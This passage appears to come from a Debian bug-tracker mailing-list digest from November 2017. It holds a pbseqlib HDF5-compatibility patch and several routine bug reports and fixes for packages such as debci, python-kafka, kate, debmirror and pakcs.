@@ -1,3 +1,11 @@
+pbseqlib (0~20161219-1.1) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * New patch hdf5-1.10.1-support.patch to cope with HDF5-1.10.1
+backward incompatible C++ API changes
+
+ -- Gilles Filippini   Sat, 04 Nov 2017 18:54:19 +0100
+
 pbseqlib (0~20161219-1) unstable; urgency=medium
 
   * Imported Upstream version 0~20161219
diff -Nru pbseqlib-0~20161219/debian/patches/hdf5-1.10.1-support.patch 
pbseqlib-0~20161219/debian/patches/hdf5-1.10.1-support.patch
--- pbseqlib-0~20161219/debian/patches/hdf5-1.10.1-support.patch
1970-01-01 01:00:00.0 +0100
+++ pbseqlib-0~20161219/debian/patches/hdf5-1.10.1-support.patch
2017-11-04 18:17:47.0 +0100
@@ -0,0 +1,72 @@
+Description: cope with HDF5 C++ API changes in release 1.10.1
+ From HDF5 upstream commits c78f1ec8829 and b1c4fd77d9c:
+ .
+ [svn-r30309] Purpose: Fix bug HDFFR-9920
+ Description:
+Rearranged the classes to model the relationship of HDF5 objects more
+accurately.  The changes included:
+- moved CommonFG's methods to Group
+- removed CommonFG from Group's base class list
+- removed CommonFG from H5File's base class list and changed
+  "public H5Location" to "public Group" in the base class list
+- CommonFG became unused
+- result of the modified partial class diagram:
+ .
+IdComponent
+ |
+H5Location
+/
+H5Object
+   |
+/  /  \
+DadaType Group DataSet
+  |
+H5File
+ .
+ [svn-r30311] Purpose: Fix bug HDFFR-9920 cont.
+ Description:
+Continued rearranging the classes to model the relationship of HDF5
+objects more accurately.  The changes included:
+- in the baseclass list of Attribute, changed "public IdComponent" to
+  "public H5Location", because location sometime can be specified with
+  attribute
+- moved H5A wrappers in H5Location to H5Object because H5A functions
+  can't be called on attribute id
+- removed the stubs Attribute::iterateAttrs and Attribute::renameAttr
+- removed Attribute::getFileName and Attribute::flush, because
+  H5Location has them
+- result of the modified partial class diagram, regarding Attribute
+ .
+IdComponent
+ |
+H5Location   AbstractDs
+/   \   /
+H5Object Attribute
+Author: Gilles Filippini 
+Index: pbseqlib/hdf/HDFConfig.hpp
+===
+--- pbseqlib.orig/hdf/HDFConfig.hpp
 pbseqlib/hdf/HDFConfig.hpp
+@@ -3,5 +3,10 @@
+ 
+ #define MAX_DIMS 10
+ 
++#ifdef HAVE_HDF5_1_10_1
++#define CommonFG Group
++#define H5Location H5Object
++#endif
++
+ 
+ #endif
+Index: pbseqlib/hdf/HDFAttributable.hpp
+===
+--- pbseqlib.orig/hdf/HDFAttributable.hpp
 pbseqlib/hdf/HDFAttributable.hpp
+@@ -5,6 +5,7 @@
+ #include 
+ #include 
+ #include 
++#include "HDFConfig.hpp"
+ 
+ void CallStoreAttributeName(H5::H5Location , std::string attrName, void 
*attrListPtr);
+ 
diff -Nru pbseqlib-0~20161219/debian/patches/series 
pbseqlib-0~20161219/debian/patches/series
--- 

Bug#856194: 0ad crash at start

[Jörg Frings-Fürst]

Hallo Ludovic,

Am Sonntag, den 29.10.2017, 21:11 +0100 schrieb Ludovic Rousseau:
> On Sun, 26 Feb 2017 12:53:13 +0100 =?utf-8?q?J=C3=B6rg_Frings-F=C3=BCrst?= 
>  wrote:
> > Package: 0ad
> > Version: 0.0.21-2
> > Severity: important
> > 
> > -BEGIN PGP SIGNED MESSAGE-
> > Hash: SHA512
> > 
> > Hello,
> > 
> > 
> > 0ad crash at start with the attatched messages.
> > 
> > If you need more informations please please ask me.
> 
> Hello Jörg,
> 
> Can you check if the bug is still present in 0ad version 0.0.22-2?
> 

No, the bug isn't present and can be closed.


> Thanks
> 

Cu
Jörg

-- 
New:
GPG Fingerprint: 63E0 075F C8D4 3ABB 35AB  30EE 09F8 9F3C 8CA1 D25D
GPG key (long) : 09F89F3C8CA1D25D
GPG Key: 8CA1D25D
CAcert Key S/N : 0E:D4:56

Old pgp Key: BE581B6E (revoked since 2014-12-31).

Jörg Frings-Fürst
D-54470 Lieser

Threema: SYR8SJXB
Wire:  @joergfringsfuerst
Skype: joergpenguin
Ring:  jff

IRC: j_...@freenode.net
 j_...@oftc.net

My wish list: 
 - Please send me a picture from the nature at your home.


signature.asc
Description: This is a digitally signed message part

Bug#880804: debci: please make the build reproducible

[Chris Lamb]

Source: debci
Version: 1.7.1
Severity: wishlist
Tags: patch
User: reproducible-bui...@lists.alioth.debian.org
Usertags: fileordering
X-Debbugs-Cc: reproducible-b...@lists.alioth.debian.org

Hi,

Whilst working on the Reproducible Builds effort [0], we noticed
that debci could not be built reproducibly.

This is because the documentation generation depends on (non-
determinstic) filesystem ordering.

Patch attached.

 [0] https://reproducible-builds.org/


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-
--- a/Makefile  2017-11-04 20:39:49.834381915 +
--- b/Makefile  2017-11-04 20:43:51.787362179 +
@@ -59,7 +59,7 @@
 
 doc: public/doc/index.html public/doc/architecture.svg
 
-public/doc/index.html public/doc/jq/jquery.js: README.md docs/*.md $(shell 
find lib -name '*.rb')
+public/doc/index.html public/doc/jq/jquery.js: README.md $(sort $(wildcard 
docs/*.md)) $(shell find lib -name '*.rb' | LC_ALL=C sort)
$(RM) public/doc/js/jquery.js
yardoc --markup markdown --output-dir public/doc --main README.md lib - 
$^
ln -sf ../../jquery.js public/doc/js/jquery.js

Bug#880803: python-kafka: please make the build reproducible

[Chris Lamb]

Source: python-kafka
Version: 0.9.5-2
Severity: wishlist
Tags: patch
User: reproducible-bui...@lists.alioth.debian.org
Usertags: randomness
X-Debbugs-Cc: reproducible-b...@lists.alioth.debian.org

Hi,

Whilst working on the Reproducible Builds effort [0], we noticed
that python-kafka could not be built reproducibly.

This is because the code has an anonymous lambda which Sphinx
outputs with a memory reference.

Patch attached.

 [0] https://reproducible-builds.org/


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-
--- a/debian/patches/reproducible-build.patch   1970-01-01 01:00:00.0 
+0100
--- b/debian/patches/reproducible-build.patch   2017-11-04 20:50:27.052966969 
+
@@ -0,0 +1,45 @@
+Description: Make the build reproducible
+Author: Chris Lamb 
+Last-Update: 2017-11-04
+
+--- python-kafka-0.9.5.orig/docs/usage.rst
 python-kafka-0.9.5/docs/usage.rst
+@@ -152,7 +152,7 @@ messages (m) are namedtuples with attrib
+   bootstrap_servers=[],
+   socket_timeout_ms=30*1000,
+   auto_offset_reset='largest',
+-  deserializer_class=lambda msg: msg,
++  deserializer_class=None,
+   auto_commit_enable=False,
+   auto_commit_interval_ms=60 * 1000,
+   consumer_timeout_ms=-1
+--- python-kafka-0.9.5.orig/kafka/consumer/kafka.py
 python-kafka-0.9.5/kafka/consumer/kafka.py
+@@ -32,7 +32,7 @@ DEFAULT_CONSUMER_CONFIG = {
+ 'fetch_min_bytes': 1,
+ 'fetch_wait_max_ms': 100,
+ 'refresh_leader_backoff_ms': 200,
+-'deserializer_class': lambda msg: msg,
++'deserializer_class': None,
+ 'auto_commit_enable': False,
+ 'auto_commit_interval_ms': 60 * 1000,
+ 'auto_commit_interval_messages': None,
+@@ -93,7 +93,7 @@ class KafkaConsumer(object):
+ ofther value will raise the exception.  Defaults to 'largest'.
+ deserializer_class (callable, optional):  Any callable that takes 
a
+ raw message value and returns a deserialized value.  Defaults 
to
+- lambda msg: msg.
++ None (ie. lambda msg: msg).
+ auto_commit_enable (bool, optional): Enabling auto-commit will 
cause
+ the KafkaConsumer to periodically commit offsets without an
+ explicit call to commit().  Defaults to False.
+@@ -119,6 +119,9 @@ class KafkaConsumer(object):
+ raise KafkaConfigurationError('Unknown configuration key(s): ' +
+   str(list(configs.keys(
+ 
++if self._config['deserializer_class']:
++self._config['deserializer_class'] = lambda msg: msg
++
+ if self._config['auto_commit_enable']:
+ if not self._config['group_id']:
+ raise KafkaConfigurationError(
--- a/debian/patches/series 2017-11-04 20:40:18.110496358 +
--- b/debian/patches/series 2017-11-04 20:50:25.696961459 +
@@ -1 +1,2 @@
 do-not-use-sphinxcontrib.napoleon-theme.patch
+reproducible-build.patch

Bug#880801: redisearch FTBFS on 32bit: src/redisearch.h:12:9: error: unknown type name '__uint128_t'

[Chris Lamb]

forwarded 880801 https://github.com/RedisLabsModules/RediSearch/issues/208
thanks

Thanks Adrian.

I've forwarded this upstream here:

  https://github.com/RedisLabsModules/RediSearch/issues/208


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#880802: No documented way to pass a command into cowbuilder execute

[Russ Allbery]

Package: cowbuilder
Version: 0.85
Severity: normal

The cowbuilder man page claims to support an execute operation, but I
cannot figure out how to pass in the command and there's no example.
I tried all of:

$ cowbuilder execute apt update --basepath 
/var/cache/pbuilder/base-experimental.cow
$ cowbuilder --execute --basepath /var/cache/pbuilder/base-experimental.cow apt 
update
$ cowbuilder --execute 'apt update' --basepath 
/var/cache/pbuilder/base-experimental.cow
$ cowbuilder --execute --basepath /var/cache/pbuilder/base-experimental.cow
$ cowbuilder --execute --basepath /var/cache/pbuilder/base-experimental.cow 
'apt update'
$ cowbuilder --execute --basepath /var/cache/pbuilder/base-experimental.cow -- 
apt update

and none of them worked.  Could you let me know what I'm missing and add
an example or some more documentation to the cowbuilder man page?

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (990, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.13.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages cowbuilder depends on:
ii  cowdancer0.85
ii  libc62.24-17
ii  libncurses5  6.0+20170902-1
ii  libtinfo56.0+20170902-1
ii  pbuilder 0.229

cowbuilder recommends no packages.

cowbuilder suggests no packages.

-- no debconf information

Bug#880801: redisearch FTBFS on 32bit: src/redisearch.h:12:9: error: unknown type name '__uint128_t'

[Adrian Bunk]

Source: redisearch
Version: 0.90.0~alpha1-1
Severity: serious

https://buildd.debian.org/status/package.php?p=redisearch=sid

...
In file included from /<>/src/inverted_index.h:4:0,
 from /<>/src/inverted_index.c:2:
/<>/src/redisearch.h:12:9: error: unknown type name '__uint128_t'
 typedef __uint128_t t_fieldMask;
 ^~~

Bug#880777: pdl build depends on removed libgd2*-dev provides

[Sebastiaan Couwenberg]

Control: tags -1 pending

Hi Adrian,

On 11/04/2017 08:45 PM, Adrian Bunk wrote:
> The following packages have unmet dependencies:
>  builddeps:pdl : Depends: libgd2-xpm-dev but it is not installable

Thanks for reporting this issue, it's fixed in git and a new upload to
unstable will follow shortly.

Kind Regards,

Bas

-- 
 GPG Key ID: 4096R/6750F10AE88D4AF1
Fingerprint: 8182 DE41 7056 408D 6146  50D1 6750 F10A E88D 4AF1

Bug#880800: kate: Dependency of sonnet-plugins for spell checker

[Rubén Gómez Antolí]

Package: kate
Version: 4:17.08.1-1+b1
Severity: minor

Dear Maintainer,

I detected some months ago that Kate don't make spell checking. Today I
have some time to investigate it and found that if package
sonnet-plugins is not installed, Kate don't have a spell checker engine.

Installing sonnet-plugins fix the issue.

Viewing dependencies of Kate, sonnet-plugins is not listed, I think
there is a bug.

Thanks.

Best regards.

Salud y Revolución.

Lobo.

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.13.0-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=es_ES.UTF-8, LC_CTYPE=es_ES.UTF-8 (charmap=UTF-8), LANGUAGE=es 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages kate depends on:
ii  kate5-data   4:17.08.1-1
ii  kio  5.37.0-2
ii  ktexteditor-katepart 5.37.0-2+b1
ii  libc62.24-17
ii  libgit2-26   0.26.0+dfsg.1-1.1
ii  libkf5activities55.37.0-2
ii  libkf5bookmarks5 5.37.0-2
ii  libkf5completion55.37.0-2
ii  libkf5configcore55.37.0-2
ii  libkf5configgui5 5.37.0-2
ii  libkf5configwidgets5 5.37.0-2
ii  libkf5coreaddons55.37.0-2
ii  libkf5crash5 5.37.0-2
ii  libkf5dbusaddons55.37.0-2
ii  libkf5guiaddons5 5.37.0-2
ii  libkf5i18n5  5.37.0-2
ii  libkf5iconthemes55.37.0-2
ii  libkf5itemmodels55.37.0-2
ii  libkf5jobwidgets55.37.0-2
ii  libkf5kiocore5   5.37.0-2
ii  libkf5kiofilewidgets55.37.0-2
ii  libkf5kiowidgets55.37.0-2
ii  libkf5newstuff5  5.37.0-2
ii  libkf5parts5 5.37.0-2
ii  libkf5plasma55.37.0-2
ii  libkf5service-bin5.37.0-2
ii  libkf5service5   5.37.0-2
ii  libkf5texteditor55.37.0-2+b1
ii  libkf5textwidgets5   5.37.0-2
ii  libkf5threadweaver5  5.37.0-2
ii  libkf5wallet-bin 5.37.0-2
ii  libkf5wallet55.37.0-2
ii  libkf5widgetsaddons5 5.37.0-2
ii  libkf5windowsystem5  5.37.0-2
ii  libkf5xmlgui55.37.0-2
ii  libqt5core5a 5.9.2+dfsg-4
ii  libqt5dbus5  5.9.2+dfsg-4
ii  libqt5gui5   5.9.2+dfsg-4
ii  libqt5sql5   5.9.2+dfsg-4
ii  libqt5widgets5   5.9.2+dfsg-4
ii  libqt5xml5   5.9.2+dfsg-4
ii  libstdc++6   7.2.0-12
ii  plasma-framework 5.37.0-2
ii  qml-module-org-kde-kquickcontrolsaddons  5.37.0-2+b1
ii  qml-module-qtquick-layouts   5.9.2-3
ii  qml-module-qtquick2  5.9.2-3

kate recommends no packages.

Versions of packages kate suggests:
ii  aspell 0.60.7~20110707-4
ii  hspell 1.4-2
ii  ispell 3.4.00-6
ii  khelpcenter4:16.08.3-1
ii  konsole-kpart  4:17.08.1-1

-- no debconf information

Bug#880799: ITP: prelude-lml-rules -- Rules for Prelude LML package

[Thomas Andrejak]

Package: wnpp
Severity: wishlist
Owner: Thomas Andrejak 

* Package name: prelude-lml-rules
  Version : 3.1.0
  Upstream Author : Thomas Andrejak 
* URL : https://www.prelude-siem.org/
* License : GPL-2
  Programming Lang: C, Python
  Description : Rules for Prelude LML package

Rules for Prelude LML contributed by the community

Since Prelude 1.1, rules of Prelude LML are in an other package that the
initial prelude-lml. This new package is prelude-lml-rules and has to be
packaged for new prelude-lml versions.

I plan to maintain it.

Bug#880798: Wide character in print at /usr/bin/json_pp line 82

[積丹尼 Dan Jacobson]

X-Debbugs-Cc: makam...@cpan.org
Package: perl
Version: 5.26.1-2
File: /usr/bin/json_pp

This command line utility should have all character set issues already
solved internally, no?

$ set http://radioscanningtw.jidanni.org/index.php?title=%E9%A6%96%E9%A0%81
$ GET http://archive.org/wayback/available?url=$@
{"url": "http://radioscanningtw.jidanni.org/index.php?title=\u9996\u9801;, 
"archived_snapshots": {"closest": {"status": "200", "available": true, "url": 
"http://web.archive.org/web/20171104183618/http://radioscanningtw.jidanni.org/index.php?title=%E9%A6%96%E9%A0%81;,
 "timestamp": "20171104183618"}}}

$ GET http://archive.org/wayback/available?url=$@ | json_pp
Wide character in print at /usr/bin/json_pp line 82,  chunk 1.
{
   "archived_snapshots" : {
  "closest" : {
 "timestamp" : "20171104183618",
 "status" : "200",
 "url" : 
"http://web.archive.org/web/20171104183618/http://radioscanningtw.jidanni.org/index.php?title=%E9%A6%96%E9%A0%81;,
 "available" : true
  }
   },
   "url" : "http://radioscanningtw.jidanni.org/index.php?title=首頁;
}
$ GET http://archive.org/wayback/available?url=$@ | perl -C /usr/bin/json_pp
{
   "archived_snapshots" : {
  "closest" : {
 "timestamp" : "20171104183618",
 "available" : true,
 "status" : "200",
 "url" : 
"http://web.archive.org/web/20171104183618/http://radioscanningtw.jidanni.org/index.php?title=%E9%A6%96%E9%A0%81;
  }
   },
   "url" : "http://radioscanningtw.jidanni.org/index.php?title=首頁;
}

Bug#880796: debmirror: arches="i386,amd64(-wheezy)"; combination drops amd64 package manifests for other dists

[Joel Maxuel]

Package: debmirror
Version: 1:2.26
Severity: normal

Dear Maintainer,

I am setting up a mirror on a system in an area with very limited internet
access, to deploy Wheezy i386, Stretch i386 or Stretch amd64 (depending on
the hardware capability) on several older machines.

As I did not see the need to mirror Wheezy amd64, I used the line
@arches="i386,amd64(-wheezy)"; in my debmirror.conf file.

This may explain why, when attempting finalize the mirror today, an apt-get
update for Stretch amd64 would fail (404 for the main repo Package
manifest).  When I looked in the mirror repo, I have found:

joel@cybaryme ~> ls -l /tank/deb/dists/stretch/main/
total 13
drwxr-xr-x 2 joel joel 5 Nov  1 16:37 binary-i386/
drwxr-xr-x 3 joel joel 3 Nov  1 16:37 debian-installer/
drwxr-xr-x 2 joel joel 6 Nov  1 16:37 dep11/
drwxr-xr-x 2 joel joel 3 Nov  1 16:37 i18n/
joel@cybaryme ~>

I could try dropping the exclusion however I don't want to exceed the 160GB
allowance for the mirror (currently at 108GiB).

Below is my snippet of my .debmirror.conf for reference

# Download options
$host="mirror.its.dal.ca";
$user="anonymous";
$passwd="anonymous@";
$remoteroot="debian";
$download_method="ftp";
@dists="stretch,wheezy";
@sections="main,main/debian-installer,contrib,non-free";
@arches="i386,amd64(-wheezy)";
$omit_suite_symlinks=0;
$skippackages=0;
$i18n=0;
$getcontents=0;
$do_source=0;
$max_batch=0;

-- System Information:
Debian Release: 9.1
  APT prefers stable
  APT policy: (990, 'stable'), (1, 'stable-updates'), (1, 'oldstable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-2-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_CA.utf8, LC_CTYPE=en_CA.utf8 (charmap=UTF-8),
LANGUAGE=en_CA:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages debmirror depends on:
ii  bzip2 1.0.6-8.1
pn  libdigest-md5-perl
ii  libdigest-sha-perl5.96-1+b1
ii  liblockfile-simple-perl   0.208-1
ii  libperl5.24 [libdigest-sha-perl]  5.24.1-3+deb9u2
ii  libwww-perl   6.15-1
ii  perl  5.24.1-3+deb9u2
ii  perl-modules-5.24 [libnet-perl]   5.24.1-3+deb9u2
ii  rsync 3.1.2-1

Versions of packages debmirror recommends:
ii  ed 1.10-2.1
ii  gpgv   2.1.18-8~deb9u1
ii  patch  2.7.5-1+b2

Versions of packages debmirror suggests:
ii  gnupg  2.1.18-8~deb9u1

-- no debconf information

Bug#880797: pakcs FTBFS on 64bit: Differences in regression test occurred

[Adrian Bunk]

Source: pakcs
Version: 1.14.4-1
Severity: serious

https://buildd.debian.org/status/package.php?p=pakcs=sid

...
cd Examples && ./test.sh -v
-
CurryCheck: a tool for testing Curry programs (version of 06/02/2017)
-
Analyzing module 'testData2Xml'...
Properties to be tested:
testGenerateXMLConversions testXMLDataConversion testCleanup
Generating main test module 'TEST5519'...and compiling it...
Executing all tests...
You can now import PreludeDataToXml
You also need to generate the module PreludeDataToXml
You can now import FlatCurry_TypesDataToXml
testGenerateXMLConversions (module testData2Xml, line 12): OK
testXMLDataConversion (module testData2Xml, line 16): OK
testCleanup (module testData2Xml, line 22): OK
TOTAL NUMBER OF TESTS: 3 (UNIT: 0, PROPERTIES: 0, IO: 3)
make[4]: Leaving directory '/<>/currytools/xmldata'
make[3]: Leaving directory '/<>/currytools'
cd examples/CHR && ./test.sh -v
WARNING: residual CHR constraints: Fib.fib(19,6765) Fib.fib(17,2584) 
Fib.fib(15,987) Fib.fib(13,377) Fib.fib(11,144) Fib.fib(9,55) Fib.fib(7,21) 
Fib.fib(5,8) Fib.fib(3,3) Fib.fib(2,2) Fib.fib(4,5) Fib.fib(6,13) Fib.fib(8,34) 
Fib.fib(10,89) Fib.fib(12,233) Fib.fib(14,610) Fib.fib(16,1597) 
Fib.fib(18,4181) Fib.fib(20,10946)
WARNING: residual CHR constraints: UnionFind.~>(3,5) UnionFind.~>(4,3) 
UnionFind.~>(2,1) UnionFind.root(5) UnionFind.root(1)
Loading program "Leq"...
main10 x
{x=1} []
main11 x y z
{x=x, y=x, z=x} []
main12 x y z z'
{x=x, y=y, z=z, z'=z'} [Leq z z',Leq x y]
Loading program "Bool"...
main20 x y z
{x=True, y=True, z=True} []
main21 a b s c
{a=True, b=True, s=False, c=True} []
main22 a b s c
{a=a, b=b, s=s, c=False} [And a b False,Or a b s]
Loading program "GCD"...
runGCD $ ((gcd 16) /\ (gcd 28))
[GCD 4]
runGCD $ ((gcd 206) /\ (gcd 40))
[GCD 2]
compileCHR "GCDCHR" [gcda,gcd2]
Curry interface to CHR(Prolog) written to GCDCHR.curry
Loading program "GCDCHR"...
solveCHR $ ((gcdanswer x) /\ ((gcd 206) /\ (gcd 40)))
{x=2} True
Loading program "Fib"...
(runCHR [dup,fib1,fibn,addrule]) $ ((fib 7) x)
{x=21} [Fib 7 21,Fib 4 5,Fib 2 2,Fib 3 3,Fib 5 8,Fib 6 13]
compileCHR "FIBCHR" [fibo1,fibo2,fibo3,addrule]
Curry interface to CHR(Prolog) written to FIBCHR.curry
Loading program "FIBCHR"...
solveCHR $ (fib 20 x)
{x=10946} True
Loading program "FD"...
main50 x y
{x=1, y=1} []
main51 x
{x=3} []
main52 [x,y,z]
{x=2, y=2, z=2} []
main53 xs
{xs=[2,3,1]} []
{xs=[3,2,1]} []
{xs=[1,3,2]} []
{xs=[3,1,2]} []
{xs=[1,2,3]} []
{xs=[2,1,3]} []
main55 xs
{xs=[4,3,2,1]} []
{xs=[2,3,4,1]} []
{xs=[4,3,1,2]} []
{xs=[1,3,4,2]} []
{xs=[2,3,1,4]} []
{xs=[1,3,2,4]} []
Loading program "UnionFind"...
main60
[Root 1,Arrow 2 1,Root 4,Root 3]
main61 x
{x=1} [Root 4,Root 3,Arrow 2 1,Root 1]
main62 x y
{x=1, y=3} [Root 4,Arrow 2 1,Arrow 1 3,Root 3]
main63
[Root 5,Arrow 3 5,Arrow 4 3,Root 1,Arrow 2 1]
main64 x y
{x=1, y=5} [Root 1,Arrow 2 1,Arrow 4 3,Arrow 3 5,Root 5]
main65 x y
{x='a', y='e'} [Root 'a',Arrow 'b' 'a',Arrow 'd' 'c',Arrow 'c' 'e',Root 'e']
compileCHR "UFCHR" [makeI,unionI,findNode,findRoot,linkEq,linkTo]
Curry interface to CHR(Prolog) written to UFCHR.curry
Loading program "UFCHR"...
solveCHR $ (andCHR [make 1,make 2,make 3,make 4,make 5,union 1 2,union 3 
4,union 5 3,find 2 x,find 4 y])
{x=1, y=5} True
Loading program "Primes"...
runPrime $ (prime 20)
[Prime 2,Prime 19,Prime 17,Prime 3,Prime 13,Prime 11,Prime 7,Prime 5]
Loading program "Gauss"...
main80 x y
{x=2.0, y=1.0} []
main81 x y
{x=5.0, y=2.0} []
main82 x y
{x=2.0, y=2.0} []
main85 i
{i=0.007692307692307692} []
main86 i
{i=0.0384160756501182} []
compileCHR "GAUSSCHR" [arithrule,emptyP,constM,eliminate,bindVar]
Curry interface to CHR(Prolog) written to GAUSSCHR.curry
Loading program "GAUSSCHR"...
solveCHR $ (((3.0 :*: x) :=: 6.0) /\ (((2.0 :*: x) :+: (6.0 :*: y)) :=: 10.0))
{x=2.0, y=1.0} True


Differences in regression test occurred:
90a91
> 
Test output saved in file 'LOGFILE'.
Makefile:281: recipe for target 'runtest' failed
make[2]: *** [runtest] Error 1